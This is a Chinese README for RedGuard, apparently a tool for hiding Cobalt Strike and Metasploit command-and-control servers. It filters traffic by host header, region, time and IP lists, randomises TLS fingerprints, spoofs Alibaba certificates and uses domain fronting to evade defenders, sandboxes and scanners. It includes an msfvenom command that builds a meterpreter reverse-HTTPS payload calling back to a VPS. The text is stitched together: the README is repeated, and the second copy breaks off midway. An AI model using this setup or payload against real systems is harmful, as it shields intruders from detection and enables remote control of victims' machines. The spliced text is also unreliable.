RedGuard,是一款C2设施前置流量控制技术的衍生作品,有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中,给予攻击队更加优秀的C2基础设施隐匿方案,赋予C2设施的交互流量以流量控制功能,拦截那些“恶意”的分析流量,更好的完成整个攻击任务。
|
||||
|
||||
RedGuard是一个C2设施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的检查。
|
||||
|
||||
## 应用场景
|
||||
|
||||
- 攻防演练中防守方根据态势感知平台针对C2交互流量的分析溯源
|
||||
- 根据JA3指纹库识别防范云沙箱环境下针对木马样本的恶意分析
|
||||
- 阻止恶意的请求来实施重放攻击,实现混淆上线的效果
|
||||
- 在明确上线服务器IP的情况下,以白名单的方式限制访问交互流量的请求
|
||||
- 防范网络空间测绘技术针对C2设施的扫描识别,并重定向或拦截扫描探针的流量
|
||||
- 支持对多个C2服务器的前置流量控制,并可实现域前置的效果实现负载均衡上线,达到隐匿的效果
|
||||
- 能够通过请求IP反查API接口针对根据 IP 地址的归属地进行地域性的主机上线限制
|
||||
- 在不更改源码的情况下,解决分阶段checksum8规则路径解析存在的强特征。
|
||||
- 通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题
|
||||
- 具有自定义对样本合法交互的时间段进行设置,实现仅在工作时间段内进行流量交互的功能
|
||||
- Malleable C2 Profile 解析器能够严格根据 malleable profile验证入站 HTTP/S 请求,并在违规情况下丢弃外发数据包(支持Malleable Profiles 4.0+)
|
||||
- 内置大量与安全厂商相关联的设备、蜜罐、云沙箱的IPV4地址黑名单,实现自动拦截重定向请求流量
|
||||
- 可通过自定义工具与样本交互的SSL证书信息、重定向URL,以规避工具流量的固定特征
|
||||
- ..........
|
||||
|
||||
# 0x01 安装
|
||||
|
||||
可以直接下载并使用已经编译好的版本,也可以远程下载go包进行自主编译执行。
|
||||
|
||||
```bash
|
||||
git clone https://github.com/wikiZ/RedGuard.git
|
||||
cd RedGuard
|
||||
# 也可以使用upx压缩编译后的文件体积
|
||||
go build -ldflags "-s -w" -trimpath
|
||||
# 赋予工具可执行权限,并进行初始化操作
|
||||
chmod +x ./RedGuard&&./RedGuard
|
||||
|
||||
```
|
||||
|
||||
# 0x02 配置说明
|
||||
|
||||
## 初始化
|
||||
|
||||
如下图,首先对RedGuard赋予可执行权限并进行初始化操作,第一次运行会在当前用户目录下生成配置文件,以实现灵活的功能配置,**配置文件名:.RedGuard_CobaltStrike.ini**。
|
||||
|
||||

|
||||
|
||||
**配置文件内容:**
|
||||
|
||||

|
||||
|
||||
cert的配置选项主要是针对样本与C2前置设施的HTTPS流量交互证书的配置信息,proxy主要用于配置反向代理流量中的控制选项,具体使用会在下面进行详细讲解。
|
||||
|
||||
在流量的交互中使用的SSL证书会生成在RedGuard执行所在目录下的cert-rsa/目录下,可以通过修改配置文件进行工具的基础功能启停**(证书的序列号是根据时间戳生成的,不用担心被以此关联特征)**。如果你想要使用自己的证书,只需要重命名为ca.crt和ca.key覆盖在cert-rsa/目录下即可。
|
||||
|
||||
```bash
|
||||
openssl x509 -in ca.crt -noout -text
|
||||
```
|
||||
|
||||

|
||||
|
||||
每次启动RedGuard都会更新随机TLS JARM指纹,防止被以此佐证C2设施。
|
||||
|
||||

|
||||
|
||||
在使用自己证书的情况下,到配置文件中修改HasCert参数为true,防止因为JARM混淆随机化导致的CipherSuites加密套件与自定义证书不兼容导致的无法正常通信问题。
|
||||
|
||||
```bash
|
||||
# Whether to use the certificate you have applied for true/false
|
||||
HasCert = false
|
||||
```
|
||||
|
||||
## RedGuard Usage
|
||||
|
||||
```bash
|
||||
root@VM-4-13-ubuntu:~# ./RedGuard -h
|
||||
|
||||
Usage of ./RedGuard:
|
||||
-DropAction string
|
||||
RedGuard interception action (default "redirect")
|
||||
-HasCert string
|
||||
Whether to use the certificate you have applied for (default "false")
|
||||
-allowIP string
|
||||
Proxy Requests Allow IP (default "*")
|
||||
-allowLocation string
|
||||
Proxy Requests Allow Location (default "*")
|
||||
-allowTime string
|
||||
Proxy Requests Allow Time (default "*")
|
||||
-common string
|
||||
Cert CommonName (default "*.aliyun.com")
|
||||
-country string
|
||||
Cert Country (default "CN")
|
||||
-dns string
|
||||
Cert DNSName (default "*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com\",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com")
|
||||
-host string
|
||||
Set Proxy HostTarget (default "{\"360.net\":\"http://127.0.0.1:8080\",\"360.com\":\"https://127.0.0.1:4433\"}")
|
||||
-http string
|
||||
Set Proxy HTTP Port (default ":80")
|
||||
-https string
|
||||
Set Proxy HTTPS Port (default ":443")
|
||||
-ip string
|
||||
IPLookUP IP
|
||||
-locality string
|
||||
Cert Locality (default "HangZhou")
|
||||
-location string
|
||||
IPLookUP Location (default "风起")
|
||||
-malleable string
|
||||
Set Proxy Requests Filter Malleable File (default "*")
|
||||
-organization string
|
||||
Cert Organization (default "Alibaba (China) Technology Co., Ltd.")
|
||||
-redirect string
|
||||
Proxy redirect URL (default "https://360.net")
|
||||
-type string
|
||||
C2 Server Type (default "CobaltStrike")
|
||||
-u Enable configuration file modification
|
||||
|
||||
```
|
||||
|
||||
**P.S. 可以使用参数命令的方式修改配置文件,当然我觉得可能直接vim手动修改更方便。**
|
||||
|
||||
# 0x03 工具使用
|
||||
|
||||
## 基础拦截
|
||||
|
||||
如果直接对反向代理的端口进行访问,则会触发拦截规则,这里通过输出的日志可以看到客户端请求根目录,但是因为其请求过程未带有请求的凭证,也就是正确的HOST请求头所以触发了基础拦截的规则,流量被重定向到了https://360.net
|
||||
|
||||
这里为了方便展示输出效果,实际使用可以通过`nohup ./RedGuard &`后台运行。
|
||||
|
||||

|
||||
|
||||
```bash
|
||||
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
|
||||
```
|
||||
|
||||
从上面的slice不难看出,360.net对应了代理到本地8080端口,360.com指向了本地的4433端口,且对应了使用的HTTP协议的不同,在后续上线中,需要注意监听器的协议类型需要和这里设置的保持一致,并设置对应HOST请求头。
|
||||
|
||||

|
||||
|
||||
如上图,在未授权情况下,我们得到的响应信息也是重定向的站点返回信息。
|
||||
|
||||
## 拦截方式
|
||||
|
||||
上述的基础拦截案例中,使用的是默认的拦截方式,也就是将非法流量以重定向的方式拦截,而通过配置文件的修改,我们可以更改拦截的方式,以及重定向的站点URL,其实这种方式与之说是重定向,描述为劫持、克隆或许更贴切,因为返回的响应状态码为200,是从另一个网站获取响应,以尽可能接近地模仿克隆/劫持的网站。
|
||||
|
||||
无效数据包可能会根据三种策略被错误路由:
|
||||
|
||||
- **reset**:立即终止 TCP 连接。
|
||||
- **proxy**:从另一个网站获取响应,以尽可能接近地模仿克隆/劫持的网站。
|
||||
- **redirect**:重定向到指定网站返回HTTP状态码302,对重定向的网站无要求。
|
||||
|
||||
```bash
|
||||
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
|
||||
drop_action = proxy
|
||||
# URL to redirect to
|
||||
Redirect = https://360.net
|
||||
```
|
||||
|
||||
配置文件中 **Redirect = URL** 指向的就是劫持的URL地址,RedGuard支持“热更改”,也就是说在工具通过nohup这种方式在后台运行的过程中,我们依旧可以通过修改配置文件的内容进行实时的功能启停。
|
||||
|
||||
```bash
|
||||
./RedGuard -u --drop true
|
||||
```
|
||||
|
||||
注意,通过命令行修改配置文件的时候。-u选项不要少,否则无法对配置文件修改成功,如果需要还原默认配置文件设置只需要输入 `./RedGuard -u` 即可。
|
||||
|
||||
而另一种拦截方式就是DROP,直接Close HTTP通信响应,通过设置 **DROP = true** 启用,具体拦截效果如下图:
|
||||
|
||||

|
||||
|
||||
可以看到,没有获取到HTTP响应码,C2前置流量控制对非法请求直接close响应,在网络空间测绘的探测中,DROP的方式可以实现隐藏端口开放情况的作用,具体效果可以看下面的案例分析。
|
||||
|
||||
## 代理端口修改
|
||||
|
||||
这里其实就很好理解了,对配置文件中以下两个参数的配置实现更改反向代理端口的效果,这里建议在不与当前服务器端口冲突的前提下,使用默认的端口隐匿性会更好,如果一定要修改,那么注意参数值的 **:** 不要缺少
|
||||
|
||||
```bash
|
||||
# HTTPS Reverse proxy port
|
||||
Port_HTTPS = :443
|
||||
# HTTP Reverse proxy port
|
||||
Port_HTTP = :80
|
||||
```
|
||||
|
||||
## RedGuard日志
|
||||
|
||||
通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题,日志文件生成在运行RedGuard所在目录下,**文件名:RedGuard.log**。
|
||||
|
||||

|
||||
|
||||
## RedGuard获取真实IP地址
|
||||
|
||||
针对于日常、域前置场景下获取真实请求IP,RG无需进行任何配置,仅需对启动C2设施的profile文件增加以下配置,即通过请求头X-Forwarded-For获取目标真实IP。
|
||||
|
||||
```bash
|
||||
http-config {
|
||||
set trust_x_forwarded_for "true";
|
||||
}
|
||||
```
|
||||
|
||||
## 请求地域限制
|
||||
|
||||
配置方式以AllowLocation = 济南,北京 为例,这里值得注意的是,RedGuard提供了两个IP归属地反查的API,一个适用于国内用户,另一个适用于海外用户,并且可以根据输入的地域名动态的分配使用哪个API,如果目标是中国的那么设置的地域就输入中文,反之输入英文地名,建议国内的用户使用中文名即可,这样反查到的归属地准确度以及API的响应速度都是最好的选择。
|
||||
|
||||
P.S. 国内用户,不要使用**AllowLocation = 济南,beijing**这种方式!没啥意义,参数值的首个字符决定使用哪个API!
|
||||
|
||||
```bash
|
||||
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
|
||||
AllowLocation = *
|
||||
```
|
||||
|
||||

|
||||
|
||||
决定限制地域之前,可以通过以下命令手动查询IP地址归属地。
|
||||
|
||||
```bash
|
||||
./RedGuard --ip 111.14.218.206
|
||||
./RedGuard --ip 111.14.218.206 --location shandong # 使用海外API查询归属地
|
||||
```
|
||||
|
||||
这里我们设置仅允许山东地域上线
|
||||
|
||||

|
||||
|
||||
**合法流量:**
|
||||
|
||||

|
||||
|
||||
**非法请求地域:**
|
||||
|
||||

|
||||
|
||||
关于地域限制的上线,在目前的攻防演练可能比较实用,基本上省市级的护网限制的目标都是在指定区域中,而对于其他地域请求的流量自然可以忽略不计,而RedGuard这一功能不仅仅可以限制单一地域也可以根据省、市限制多个上线地域,而对其他地域请求的流量进行拦截。
|
||||
|
||||
## 基于白名单拦截
|
||||
|
||||
除了RedGuard内置的安全厂商IP的黑名单,我们还可以依据白名单的方式进行限制,其实我也是建议在web打点的时候,我们可以根据白名单限制上线的IP的地址,以,分割多个IP地址的方式。
|
||||
|
||||
```bash
|
||||
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
|
||||
AllowIP = 127.0.0.1
|
||||
```
|
||||
|
||||

|
||||
|
||||
如上图,我们限制仅允许127.0.0.1上线,那么其他IP的请求流量就会被拦截。
|
||||
|
||||
## 基于时间段拦截
|
||||
|
||||
这个功能就比较有意思了,在配置文件中设置以下参数值,代表了流量控制设施仅可以上午8点至晚上9点上线,这里具体的应用场景也就是在指定攻击时间内,我们允许与C2进行流量交互,其他时间保持静默状态。这也能让红队们睡一个好觉,不用担心一些夜班的蓝队无聊去分析你的木马,然后醒来发生不可描述的事情,哈哈哈。
|
||||
|
||||
```bash
|
||||
# Limit the time of requests example: AllowTime = 8:00 - 16:00
|
||||
AllowTime = 8:00 - 21:00
|
||||
```
|
||||
|
||||

|
||||
|
||||
## Malleable Profile
|
||||
|
||||
RedGuard采用 Malleable C2 配置文件。然后,它解析提供的可延展配置文件部分以了解合同并仅通过那些满足它的入站请求,同时误导其他请求。诸如`http-stager`,`http-get`和`http-post`它们对应的 uris, headers, User-Agent 等部分都用于区分合法信标的请求和不相关的 Internet 噪声或 IR/AV/EDR 越界数据包。
|
||||
|
||||
```bash
|
||||
# C2 Malleable File Path
|
||||
MalleableFile = /root/cobaltstrike/Malleable.profile
|
||||
```
|
||||
|
||||

|
||||
|
||||
风起编写的profile,推荐使用:
|
||||
|
||||
> https://github.com/wikiZ/CobaltStrike-Malleable-Profile
|
||||
|
||||
# 0x04 案例分析
|
||||
|
||||
## 空间测绘
|
||||
|
||||
如下图所示,当我们的拦截规则设置为DROP的时候,空间测绘系统探针会对我们反向代理端口的/目录进行几次探测,理论上测绘发送的请求包就是伪造成正常的流量所示。但是当尝试几次因为请求包特征不符合RedGuard的放行要求,所以均被Close HTTP响应。最终展现在测绘平台上的效果也就是认为反向代理端口未开放。
|
||||
|
||||

|
||||
|
||||
下图所示的流量也就是当拦截规则设置为Redirect时,我们会发现当测绘探针收到响应后会继续对我们进行目录扫描,UserAgent为随机,看起来符合正常流量的请求,但是也都成功被拦截了。
|
||||
|
||||

|
||||
|
||||
**测绘平台 - 劫持响应拦截方式效果:**
|
||||
|
||||

|
||||
|
||||
**测绘平台 - 重定向拦截方式效果:**
|
||||
|
||||

|
||||
|
||||
## 域前置
|
||||
|
||||
RedGuard是支持域前置的,在我看来一共有两种展现形式,一种是利用传统的域前置方式,在全站加速回源地址中设置为我们反向代理的端口即可实现。在原有的基础上给域前置增加了流量控制的功能,并且可以根据我们设置的重定向到指定URL使其看起来更像是真的。需要注意HTTPS HOST头RedGuard设置的要与全站加速的域名一致才可以。
|
||||
|
||||

|
||||
|
||||
在单兵作战中,我建议可以使用上述方式,而在团队任务中,也可以通过自建“域前置”的方式来实现。
|
||||
|
||||

|
||||
|
||||
在自建域前置中,保持多个反向代理端口一致,HOST头一致指向后端真实的C2服务器监听端口。而这种方式,可以很好的隐藏我们的真实C2服务器,而反向代理的服务器可以通过配置防火墙仅开放代理端口即可。
|
||||
|
||||

|
||||
|
||||
这里可以通过多个节点服务器实现,在CS监听器HTTPS上线IP配置多个我们的节点IP。
|
||||
|
||||
## CobaltStrike上线
|
||||
|
||||
如果说上面的这种方式有一个问题就是,实际上线的C2服务器是不能通过防火墙直接拦截掉的,因为在反向代理中实际进行负载均衡请求的是云服务器厂商IP进行的。
|
||||
|
||||
如果是单兵作战的话,我们可以在云服务器防火墙设置拦截策略。
|
||||
|
||||

|
||||
|
||||
然后把代理指向的地址设置为https://127.0.0.1:4433这种即可。
|
||||
|
||||
```bash
|
||||
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
|
||||
```
|
||||
|
||||
而且因为我们的基础验证就是基于HTTP HOST请求头来做的,所以在HTTP流量中看到的也是与域前置的方式一致,但是成本更低,只需要一台云服务器即可实现。
|
||||
|
||||

|
||||
|
||||
对于监听器的设置上线端口设置为RedGuard反向代理端口,监听端口为本机实际上线端口。
|
||||
|
||||
## Metasploit上线
|
||||
|
||||
**生成木马**
|
||||
|
||||
```bash
|
||||
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
|
||||
-f exe -o ~/path/to/payload.exe
|
||||
```
|
||||
|
||||
当然作为域前置场景也可以把你的LHOST配置为任意使用该厂商CDN的域名,注意设置HttpHostHeader与RedGuard相符即可。
|
||||
|
||||
```bash
|
||||
setg OverrideLHOST 360.com
|
||||
setg OverrideLPORT 443
|
||||
setg OverrideRequestHost true
|
||||
```
|
||||
|
||||
请务必注意,该`OverrideRequestHost`设置必须设置为`true`。这是由于 Metasploit 在为暂存有效负载生成配置时默认处理传入 HTTP/S 请求的方式的一个怪癖。默认情况下,Metasploit 将传入请求的`Host`标头值(如果存在)用于第二阶段配置,而不是`LHOST`参数。因此,将生成阶段配置,以便将请求直接发送到您的隐藏域名,因为 CloudFront 在转发请求的`Host`标头中传递您的内部域。这显然不是我们所要求的。使用`OverrideRequestHost`配置值,我们可以强制 Metasploit 忽略传入`Host`的标头,而是使用`LHOST`指向原始 CloudFront 域的配置值。
|
||||
|
||||
监听器设置为实际上线端口,与RedGuard实际转发到的地址相匹配。
|
||||
|
||||

|
||||
|
||||
RedGuard接收到请求:
|
||||
|
||||

|
||||
|
||||
# 0x05 Loading
|
||||
|
||||
感谢各位用户的支持,RedGuard也会坚持进行完善更新的,希望 RedGuard 能够让更多安全从业者所知,工具参考了RedWarden的设计思想。
|
||||
|
||||
**欢迎大家多多提出需求,RedGuard也会在这些需求中不断地成长,完善!**
|
||||
|
||||
**关于开发者 风起 相关文章:https://www.anquanke.com/member.html?memberId=148652**
|
||||
|
||||
**Kunyu: https://github.com/knownsec/Kunyu**
|
||||
|
||||
> 风起于青萍之末,浪成于微澜之间。
|
||||
|
||||
|
||||
# 0x06 Community
|
||||
|
||||
如果有问题或者需求可以在项目下提交issue,或通过添加WeCat联系工具作者。
|
||||
|
||||

|
||||
<h1 align="center">RedGuard - Excellent C2 Front Flow Control tool</h1>
|
||||
|
||||
[](https://github.com/knownsec/Kunyu) [](https://github.com/knownsec/Kunyu/issues) [](https://github.com/knownsec/Kunyu/releases) [](https://github.com/wikiZ)
|
||||
|
||||
中文文档 | [English](https://github.com/wikiZ/RedGuard/blob/main/README.md)
|
||||
|
||||

|
||||
|
||||
# 0x00 介绍
|
||||
|
||||
## 工具介绍
|
||||
|
||||
RedGuard,是一款C2设施前置流量控制技术的衍生作品,有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中,给予攻击队更加优秀的C2基础设施隐匿方案,赋予C2设施的交互流量以流量控制功能,拦截那些“恶意”的分析流量,更好的完成整个攻击任务。
|
||||
|
||||
RedGuard是一个C2设施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的检查。
|
||||
|
||||
## 应用场景
|
||||
|
||||
- 攻防演练中防守方根据态势感知平台针对C2交互流量的分析溯源
|
||||
- 根据JA3指纹库识别防范云沙箱环境下针对木马样本的恶意分析
|
||||
- 阻止恶意的请求来实施重放攻击,实现混淆上线的效果
|
||||
- 在明确上线服务器IP的情况下,以白名单的方式限制访问交互流量的请求
|
||||
- 防范网络空间测绘技术针对C2设施的扫描识别,并重定向或拦截扫描探针的流量
|
||||
- 支持对多个C2服务器的前置流量控制,并可实现域前置的效果实现负载均衡上线,达到隐匿的效果
|
||||
- 能够通过请求IP反查API接口针对根据 IP 地址的归属地进行地域性的主机上线限制
|
||||
- 在不更改源码的情况下,解决分阶段checksum8规则路径解析存在的强特征。
|
||||
- 通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题
|
||||
- 具有自定义对样本合法交互的时间段进行设置,实现仅在工作时间段内进行流量交互的功能
|
||||
- Malleable C2 Profile 解析器能够严格根据 malleable profile验证入站 HTTP/S 请求,并在违规情况下丢弃外发数据包(支持Malleable Profiles 4.0+)
|
||||
- 内置大量与安全厂商相关联的设备、蜜罐、云沙箱的IPV4地址黑名单,实现自动拦截重定向请求流量
|
||||
- 可通过自定义工具与样本交互的SSL证书信息、重定向URL,以规避工具流量的固定特征
|
||||
- ..........
|
||||
|
||||
# 0x01 安装
|
||||
|
||||
可以直接下载并使用已经编译好的版本,也可以远程下载go包进行自主编译执行。
|
||||
|
||||
```bash
|
||||
git clone https://github.com/wikiZ/RedGuard.git
|
||||
cd RedGuard
|
||||
# 也可以使用upx压缩编译后的文件体积
|
||||
go build -ldflags "-s -w" -trimpath
|
||||
# 赋予工具可执行权限,并进行初始化操作
|
||||
chmod +x ./RedGuard&&./RedGuard
|
||||
|
||||
```
|
||||
|
||||
# 0x02 配置说明
|
||||
|
||||
## 初始化
|
||||
|
||||
如下图,首先对RedGuard赋予可执行权限并进行初始化操作,第一次运行会在当前用户目录下生成配置文件,以实现灵活的功能配置,**配置文件名:.RedGuard_CobaltStrike.ini**。
|
||||
|
||||

|
||||
|
||||
**配置文件内容:**
|
||||
|
||||

|
||||
|
||||
cert的配置选项主要是针对样本与C2前置设施的HTTPS流量交互证书的配置信息,proxy主要用于配置反向代理流量中的控制选项,具体使用会在下面进行详细讲解。
|
||||
|
||||
在流量的交互中使用的SSL证书会生成在RedGuard执行所在目录下的cert-rsa/目录下,可以通过修改配置文件进行工具的基础功能启停**(证书的序列号是根据时间戳生成的,不用担心被以此关联特征)**。如果你想要使用自己的证书,只需要重命名为ca.crt和ca.key覆盖在cert-rsa/目录下即可。
|
||||
|
||||
```bash
|
||||
openssl x509 -in ca.crt -noout -text
|
||||
```
|
||||
|
||||

|
||||
|
||||
每次启动RedGuard都会更新随机TLS JARM指纹,防止被以此佐证C2设施。
|
||||
|
||||

|
||||
|
||||
在使用自己证书的情况下,到配置文件中修改HasCert参数为true,防止因为JARM混淆随机化导致的CipherSuites加密套件与自定义证书不兼容导致的无法正常通信问题。
|
||||
|
||||
```bash
|
||||
# Whether to use the certificate you have applied for true/false
|
||||
HasCert = false
|
||||
```
|
||||
|
||||
## RedGuard Usage
|
||||
|
||||
```bash
|
||||
root@VM-4-13-ubuntu:~# ./RedGuard -h
|
||||
|
||||
Usage of ./RedGuard:
|
||||
-DropAction string
|
||||
RedGuard interception action (default "redirect")
|
||||
-HasCert string
|
||||
Whether to use the certificate you have applied for (default "false")
|
||||
-allowIP string
|
||||
Proxy Requests Allow IP (default "*")
|
||||
-allowLocation string
|
||||
Proxy Requests Allow Location (default "*")
|
||||
-allowTime string
|
||||
Proxy Requests Allow Time (default "*")
|
||||
-common string
|
||||
Cert CommonName (default "*.aliyun.com")
|
||||
-country string
|
||||
Cert Country (default "CN")
|
||||
-dns string
|
||||
Cert DNSName (default "*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com\",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com")
|
||||
-host string
|
||||
Set Proxy HostTarget (default "{\"360.net\":\"http://127.0.0.1:8080\",\"360.com\":\"https://127.0.0.1:4433\"}")
|
||||
-http string
|
||||
Set Proxy HTTP Port (default ":80")
|
||||
-https string
|
||||
Set Proxy HTTPS Port (default ":443")
|
||||
-ip string
|
||||
IPLookUP IP
|
||||
-locality string
|
||||
Cert Locality (default "HangZhou")
|
||||
-location string
|
||||
IPLookUP Location (default "风起")
|
||||
-malleable string
|
||||
Set Proxy Requests Filter Malleable File (default "*")
|
||||
-organization string
|
||||
Cert Organization (default "Alibaba (China) Technology Co., Ltd.")
|
||||
-redirect string
|
||||
Proxy redirect URL (default "https://360.net")
|
||||
-type string
|
||||
C2 Server Type (default "CobaltStrike")
|
||||
-u Enable configuration file modification
|
||||
|
||||
```
|
||||
|
||||
**P.S. 可以使用参数命令的方式修改配置文件,当然我觉得可能直接vim手动修改更方便。**
|
||||
|
||||
# 0x03 工具使用
|
||||
|
||||
## 基础拦截
|
||||
|
||||
如果直接对反向代理的端口进行访问,则会触发拦截规则,这里通过输出的日志可以看到客户端请求根目录,但是因为其请求过程未带有请求的凭证,也就是正确的HOST请求头所以触发了基础拦截的规则,流量被重定向到了https://360.net
|
||||
|
||||
这里为了方便展示输出效果,实际使用可以通过`nohup ./RedGuard &`后台运行。
|
||||
|
||||

|
||||
|
||||
```bash
|
||||
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
|
||||
```
|
||||
|
||||
从上面的slice不难看出,360.net对应了代理到本地8080端口,360.com指向了本地的4433端口,且对应了使用的HTTP协议的不同,在后续上线中,需要注意监听器的协议类型需要和这里设置的保持一致,并设置对应HOST请求头。
|
||||
|
||||

|
||||
|
||||
如上图,在未授权情况下,我们得到的响应信息也是重定向的站点返回信息。
|
||||
|
||||
## 拦截方式
|
||||
|
||||
上述的基础拦截案例中,使用的是默认的拦截方式,也就是将非法流量以重定向的方式拦截,而通过配置文件的修改,我们可以更改拦截的方式,以及重定向的站点URL,其实这种方式与之说是重定向,描述为劫持、克隆或许更贴切,因为返回的响应状态码为200,是从另一个网站获取响应,以尽可能接近地模仿克隆/劫持的网站。
|
||||
|
||||
无效数据包可能会根据三种策略被错误路由:
|
||||
|
||||
- **reset**:立即终止 TCP 连接。
|
||||
- **proxy**:从另一个网站获取响应,以尽可能接近地模仿克隆/劫持的网站。
|
||||
- **redirect**:重定向到指定网站返回HTTP状态码302,对重定向的网站无要求。
|
||||
|
||||
```bash
|
||||
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
|
||||
drop_action = proxy
|
||||
# URL to redirect to
|
||||
Redirect = https://360.net
|
||||
```
|
||||
|
||||
配置文件中 **Redirect = URL** 指向的就是劫持的URL地址,RedGuard支持“热更改”,也就是说在工具通过nohup这种方式在后台运行的过程中,我们依旧可以通过修改配置文件的内容进行实时的功能启停。
|
||||
|
||||
```bash
|
||||
./RedGuard -u --drop true
|
||||
```
|
||||
|
||||
注意,通过命令行修改配置文件的时候。-u选项不要少,否则无法对配置文件修改成功,如果需要还原默认配置文件设置只需要输入 `./RedGuard -u` 即可。
|
||||
|
||||
而另一种拦截方式就是DROP,直接Close HTTP通信响应,通过设置 **DROP = true** 启用,具体拦截效果如下图:
|
||||
|
||||

|
||||
|
||||
可以看到,没有获取到HTTP响应码,C2前置流量控制对非法请求直接close响应,在网络空间测绘的探测中,DROP的方式可以实现隐藏端口开放情况的作用,具体效果可以看下面的案例分析。
|
||||
|
||||
## 代理端口修改
|
||||
|
||||
这里其实就很好理解了,对配置文件中以下两个参数的配置实现更改反向代理端口的效果,这里建议在不与当前服务器端口冲突的前提下,使用默认的端口隐匿性会更好,如果一定要修改,那么注意参数值的 **:** 不要缺少
|
||||
|
||||
```bash
|
||||
# HTTPS Reverse proxy port
|
||||
Port_HTTPS = :443
|
||||
# HTTP Reverse proxy port
|
||||
Port_HTTP = :80
|
||||
```
|
||||
|
||||
## RedGuard日志
|
||||
|
||||
通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题,日志文件生成在运行RedGuard所在目录下,**文件名:RedGuard.log**。
|
||||
|
||||

|
||||
|
||||
## RedGuard获取真实IP地址
|
||||
|
||||
针对于日常、域前置场景下获取真实请求IP,RG无需进行任何配置,仅需对启动C2设施的profile文件增加以下配置,即通过请求头X-Forwarded-For获取目标真实IP。
|
||||
|
||||
```bash
|
||||
http-config {
|
||||
set trust_x_forwarded_for "true";
|
||||
}
|
||||
```
|
||||
|
||||
## 请求地域限制
|
||||
|
||||
配置方式以AllowLocation = 济南,北京 为例,这里值得注意的是,RedGuard提供了两个IP归属地反查的API,一个适用于国内用户,另一个适用于海外用户,并且可以根据输入的地域名动态的分配使用哪个API,如果目标是中国的那么设置的地域就输入中文,反之输入英文地名,建议国内的用户使用中文名即可,这样反查到的归属地准确度以及API的响应速度都是最好的选择。
|
||||
|
||||
P.S. 国内用户,不要使用**AllowLocation = 济南,beijing**这种方式!没啥意义,参数值的首个字符决定使用哪个API!
|
||||
|
||||
```bash
|
||||
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
|
||||
AllowLocation = *
|
||||
```
|
||||
|
||||

|
||||
|
||||
决定限制地域之前,可以通过以下命令手动查询IP地址归属地。
|
||||
|
||||
```bash
|
||||
./RedGuard --ip 111.14.218.206
|
||||
./RedGuard --ip 111.14.218.206 --location shandong # 使用海外API查询归属地
|
||||
```
|
||||
|
||||
这里我们设置仅允许山东地域上线
|
||||
|
||||

|
||||
|
||||
**合法流量:**
|
||||
|
||||

|
||||
|
||||
**非法请求地域:**
|
||||
|
||||

|
||||
|
||||
关于地域限制的上线,在目前的攻防演练可能比较实用,基本上省市级的护网限制的目标都是在指定区域中,而对于其他地域请求的流量自然可以忽略不计,而RedGuard这一功能不仅仅可以限制单一地域也可以根据省、市限制多个上线地域,而对其他地域请求的流量进行拦截。
|
||||
|
||||
## 基于白名单拦截
|
||||
|
||||
除了RedGuard内置的安全厂商IP的黑名单,我们还可以依据白名单的方式进行限制,其实我也是建议在web打点的时候,我们可以根据白名单限制上线的IP的地址,以,分割多个IP地址的方式。
|
||||
|
||||
```bash
|
||||
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
|
||||
AllowIP = 127.0.0.1
|
||||
```
|
||||
|
||||

|
||||
|
||||
如上图,我们限制仅允许127.0.0.1上线,那么其他IP的请求流量就会被拦截。
|
||||
|
||||
## 基于时间段拦截
|
||||
|
||||
这个功能就比较有意思了,在配置文件中设置以下参数值,代表了流量控制设施仅可以上午8点至晚上9点上线,这里具体的应用场景也就是在指定攻击时间内,我们允许与C2进行流量交互,其他时间保持静默状态。这也能让红队们睡一个好觉,不用担心一些夜班的蓝队无聊去分析你的木马,然后醒来发生不可描述的事情,哈哈哈。
|
||||
|
||||
```bash
|
||||
# Limit the time of requests example: AllowTime = 8:00 - 16:00
|
||||
AllowTime = 8:00 - 21:00
|
||||
```
|
||||
|
||||

|
||||
|
||||
## Malleable Profile
|
||||
|
||||
RedGuard采用 Malleable C2 配置文件。然后,它解析提供的可延展配置文件部分以了解合同并仅通过那些满足它的入站请求,同时误导其他请求。诸如`http-stager`,`http-get`和`http-post`它们对应的 uris, headers, User-Agent 等部分都用于区分合法信标的请求和不相关的 Internet 噪声或 IR/AV/EDR 越界数据包。
|
||||
|
||||
```bash
|
||||
# C2 Malleable File Path
|
||||
MalleableFile = /root/cobaltstrike/Malleable.profile
|
||||
```
|
||||
|
||||

|
||||
|
||||
风起编写的profile,推荐使用:
|
||||
|
||||
> https://github.com/wikiZ/CobaltStrike-Malleable-Profile
|
||||
|
||||
# 0x04 案例分析
|
||||
|
||||
## 空间测绘
|
||||
|
||||
如下图所示,当我们的拦截规则设置为DROP的时候,空间测绘系统探针会对我们反向代理端口的/目录进行几次探测,理论上测绘发送的请求包就是伪造成正常的流量所示。但是当尝试几次因为请求包特征不符合RedGuard的放行要求,所以均被Close HTTP响应。最终展现在测绘平台上的效果也就是认为反向代理端口未开放。
|
||||
|
||||

|
||||
|
||||
